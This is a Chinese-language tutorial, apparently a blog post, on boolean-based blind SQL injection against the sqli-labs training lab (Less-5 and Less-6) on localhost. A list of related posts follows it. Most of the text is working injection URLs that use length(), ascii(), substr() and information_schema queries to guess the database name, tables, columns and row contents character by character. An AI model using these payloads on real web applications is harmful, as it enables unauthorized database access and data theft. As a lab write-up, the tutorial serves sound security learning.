判断注入点

测试:http://localhost/sqli-labs-master/Less-5/?id=1ahttp://localhost/sqli-labs-master/Less-5/?id=-1a

可以看到,是一个字符型注入,并且只会回显正确和错误,这里就用到了SQL盲注

SQL盲注

SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注是攻击者无法获取页面上回显的结果,甚至注入语句都不知道是什么,因此盲注的难度比一般注入高得多。目前网络上现存的SQL注入漏洞大多数也就是SQL盲注。

SQL盲注的思路

与普通注入不同的是程序只会回显正确和错误,有时候连正确和错误都没有,所以你可以构造,你问程序,数据库的第一个字母是不是a之类的,根据机器回复的正确和错误达到我们想要的结果,流程差不多适合普通注入一样的,但是不过要自己一个一个猜解数据库,表,字段,字段内容的名称,非常的繁琐。

获取当前数据库名

想要获取数据库名,首先我们要先知道数据库的长度,然后在一个字符一个字符的猜解数据库的名称

猜解数据库的长度

这里使用到了 length 函数,我们在 mysql 中测试



可以看到 length()函数可以判断一个字符的长度

配合 database()函数,database函数是显示当前数据库



嵌套判断使用比较符判断数据库的长度

MySQL语句:select length(database());查看当前数据库的长度



可以看到,通过比较符返回的结果为 0 和 1,0 就是 False,1 就是 True,所以,如果猜测正确的话,会返回结果,猜测错误的话,不会返回结果

测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())>100 --+



可以看到,没有返回结果,由于我们测试,所以尽量,猜大一点,以免我们注入语句错误,走弯路

继续测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())>1 --+



返回结果,代表数据库长度大于 1

继续测试:http://localhost/sqli-labs-master/Less-5/?id=1' and length(database())=8 --+

猜解时最好采用二分法,这里不在一一猜解,最后数据库的长度为8

猜解数据库的名称

这里使用到了 ascii()函数,在MySQL中测试

MySQL语句:select ascii('a');查看 a 字符的 ascii 表对应的数



可以看到 a 的 ascii 表对应的是 97

另一函数 substr()函数,在MySQL中测试

MySQL语句:select substr(‘2021-10-6’,1,1);将字符串 2021-10-6 字符串从第一个开始,从第一个结束的 2 筛选出来



可以看到 substr()函数会将指定下表的字符筛选出来,第一个值是 字符串,第二个值是 从那个下标开始,第三个值是到那个下标结束(注意:substr函数的下标从 1 开始)

那么 ascii()函数 和 substr()函数 嵌套就是,选取一个字符串,计算它的ascii表的大小

MySQL语句:select ascii(substr('abcdefg',1,1));



可以看到筛选到第一个字符 a 然后计算出了 a 的 ascii 值得大小为 97

当然,计算出ascii大小后,页面也不会返回,只会返回正确和错误,所以我们要继续使用比较符的True和False来判断返回的ascii值的大小



通过比较,可以看出,a的ascii值得大小为97

猜解数据库名的第一个字符

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) >1 --+



猜解数据库名的第一个字符的ascii值大于1

继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) >1000 --+



猜解数据库名的第一个字符的ascii值大于1000

测试可以看出,数据库的第一个字符的ascii值在1~1000之间,这只是一个测试,最后通过二分法,不断猜测

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),1,1)) =115 --+



返回正确,得到数据库名的第一个字符的ascii值为115

通过mysql中的char()函数进行ascii解密得到115对应的字符串为 s

猜解数据库名的第二个字符

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr(database(),2,1)) =101 --+



使用char()函数解开ascii值得到数据库名的第二个字符



得到数据库名的第二个字符为 e,后续操作就是改变substr函数的第二个值,来一一猜解八位的数据库名,最后得到数据库名为 security

猜解数据库中的表名

想要知道数据库中的表名,首先要知道数据库中表的数量,然后猜解数据库表的长度,然后一一将表的长度,名称猜解出来,非常的繁琐

猜解security数据库中的表的数量

这里使用了mysql中的count()函数



count()函数会计算出一共有多少行

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>1 --+



查看security数据库中表的数量是否大于1,正确

继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>8 --+



查看security数据库中表的数量是否大于8,错误

最后测试出security数据库数据库中表的数量为4

猜解security数据库中第一个表名的长度

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>1 --+



猜解security数据库中第一个表名的长度是否大于1,正确

继续测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)> 10 --+



猜解security数据库中第一个表名的长度是否大于10,错误

最后得到结果,security数据库中第一个表的长度为6

猜解security数据库中第一个表的名称

猜解第一个字符

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1 --+



猜解security数据库中第一个表的第一个字符的ascii值是否大于1

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>1000 --+



猜解security数据库中第一个表的第一个字符的ascii值是否大于1000

最后的得到结果,security数据库中第一个表的第一个字符的ascii值为101

101对应的十进制字符为e



猜解第二个字符

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109--+



得到security数据库中第一个表的第二个字符的ascii值为109

最后得到security第一个表的名称为emails

猜解字段名

猜解security数据库中emails中的字段的数量

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2 --+



得到emails表下有两个字段

猜解security数据库中emails中第一个字段的长度

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1)=2 --+



得到security数据库中emails中第一个字段的长度为2

猜解security数据库中emails中第一个字段的名称

猜解第一个字符的ascii值

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1))=105 --+

得到第一个字符的ascii值为105,十进制就是i

猜解第二个字符的ascii值

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),2,1))=100 --+



得到第二个字符的ascii值为100,十进制就是d

猜解字段的内容

猜解security数据库中emails中id字段的内容

id字段的第一个字符的ascii值

测试:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select group_concat(id) from emails limit 0,1),1,1))=49 --+

得到id字段的第一个字符的ascii值为49,十进制值就是1

这样依次类推可以得到id列的所有值,注意,这里我只是猜解了当前数据库security中的第一个表emails中的第一个字段id列的第一行的内容,后续还有很多操作,这里不在列举

Less-6

Less-6和Less-5的是一样的布尔注入,不过闭合方式由'号换为了"

Less-5 和 Less-6 SQL盲注的更多相关文章

  1. 小白日记42:kali渗透测试之Web渗透-SQL盲注

    SQL盲注 [SQL注入介绍] SQL盲注:不显示数据库内建的报错信息[内建的报错信息帮助开发人员发现和修复问题],但由于报错信息中提供了关于系统的大量有用信息.当程序员隐藏了数据库内建报错信息,替换 ...

  2. WEB安全实战(一)SQL盲注

    前言 好长时间没有写过东西了,不是不想写,仅仅只是是一直静不下心来写点东西.当然,拖了这么长的时间,也总该写点什么的.近期刚刚上手安全方面的东西,作为一个菜鸟,也本着学习的目的,就谈谈近期接触到的安全 ...

  3. Kali学习笔记43:SQL盲注

    前面的文章都是基于目标会返回错误信息的情况进行判断是否存在SQL注入 我们可以轻易根据数据库报错信息来猜测SQL语句和注入方式 如果程序员做得比较好,不显示错误信息,这种情况下得SQL注入称为SQL盲 ...

  4. [转载]sql 盲注之正则表达式攻击

    [转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+-------------------------------- ...

  5. WEB安全番外第四篇--关于SQL盲注

    一.SQL盲注: 看不到回显的,无法从返回直接读取到数据库内容的对数据的猜解,属于盲注. 二.第一种--基于布尔类型的盲注: 这种很简单,最典型的例子,就是挖SQL注入的时候常用的: ''' http ...

  6. SQL盲注

    一.首先输入1和-1 查看输入正确和不正确两种情况 二.三种注入POC LOW等级 ... where user_id =$id 输入      真  and  假 = 假 (1)...where u ...

  7. SQL盲注攻击的简单介绍

    1 简介     1.1 普通SQL注入技术概述     目前没有对SQL注入技术的标准定义,微软中国技术中心从2个方面进行了描述[1]:     (1) 脚本注入式的攻击     (2) 恶意用户输 ...

  8. Web系统常见安全漏洞及解决方案-SQL盲注

    关于web安全测试,目前主要有以下几种攻击方法: 1.XSS 2.SQL注入 3.跨目录访问 4.缓冲区溢出 5.cookies修改 6.Htth方法篡改(包括隐藏字段修改和参数修改) 7.CSRF ...

  9. SQL盲注工具BBQSQL

    SQL盲注工具BBQSQL   SQL注入是将SQL命令插入到表单.域名或者页面请求的内容中.在进行注入的时候,渗透测试人员可以根据网站反馈的信息,判断注入操作的结果,以决定后续操作.如果网站不反馈具 ...

  10. 第九届极客大挑战——Geek Chatroom(sql盲注)

    首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...

随机推荐

  1. Software--电商平台系统--P2 支撑基础设施 Infrastructure

    2018-01-11  18:19:49 架构 客户体验 Ajax 交互技术. 网站快速加载且响应灵敏,则应该缓存商品数据. 灵活的缓存机制,以支持任何类型的存储(即分布式存储或内存中存储). 日志功 ...

  2. Unity3D发布Android注意事项

    当你制作完一款游戏,准备发布Android平台时,需要进行一些设置.如下: 一.设置AndroidSDK路级和JDK路径 AndroidSDK目录可以通过AndroidStudio查看,如下: 这个路 ...

  3. 关于Easyui和JQuery版本兼容IE8问题记录

    1.最后支持IE8及以下版本的是JQuery1.9 2.最后支持IE8及以下的Easyui是1.3.2,其对应的是JQuery1.8 因为低版本的Easyui,缺少某些方便好用的属性方法和样式不好看, ...

  4. linux上安装Oracle 包括常见安装错误(centos8.1,oracle linux8,redhat 8)通过

    谨记 关闭操作系统之前先关闭oracle数据库 oracle用户登录,执行lsnrctl start启动网络监听服务,执行dbstart启动数据库系统. oracle用户登录,执行lsnrctl st ...

  5. mybatis lombok 报错: java: java.lang.IllegalAccessError: class lombok.javac.apt.LombokProcessor

    1. 报错原因:jdk版本太高,lombok版本太低 2. 解决办法:安装更高版本的依赖包,可以去Maven Repository: lombok去查:https://mvnrepository.co ...

  6. 项目实训 DAY14

    今天修改了一下PNN使之可以运行直接生成图片,而不是敲两段命令行.首先是使用python中subprocess启动新进程来达到命令行输命令的效果,即生成xx.pdf:再用os.unlink将中间品删除 ...

  7. Debug --> python中的True False 0 1

    今天看了下python中的一些基础知识,以offer64为例叭! 求 1+2+...+n ,要求不能使用乘除法.for.while.if.else.switch.case等关键字及条件判断语句(A?B ...

  8. NPM镜像代理设置

    用户目录C:\Users\xxx下建立.npmrc文件,内容如下: registry="https://registry.npm.taobao.org" ELECTRON_MIRR ...

  9. python之基本数据类型--数字类型

    变量是为了让计算机像人一样的去记录事务的某种状态,那变量值就是用来存储事务的状态,在现实生活中事物状态明显的分为不同的种类,比如人类的年龄.身高.体重.工资.等等,所以变量也是有不同类型的,变量的几种 ...

  10. curl 查看响应时间

    curl -o /dev/null -s -w "time_namelookup:%{time_namelookup}\ntime_connect: %{time_connect}\ntim ...